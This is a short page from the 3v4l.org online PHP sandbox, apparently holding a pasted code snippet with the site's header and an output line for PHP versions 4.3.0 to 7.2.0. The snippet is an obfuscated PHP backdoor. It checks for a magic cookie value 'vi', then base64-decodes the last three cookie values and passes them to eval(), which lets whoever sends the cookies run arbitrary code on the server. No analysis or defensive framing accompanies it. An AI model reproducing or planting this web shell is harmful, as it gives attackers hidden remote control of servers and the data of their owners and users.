3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php $c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';} ?>
Output for 4.3.0 - 7.2.0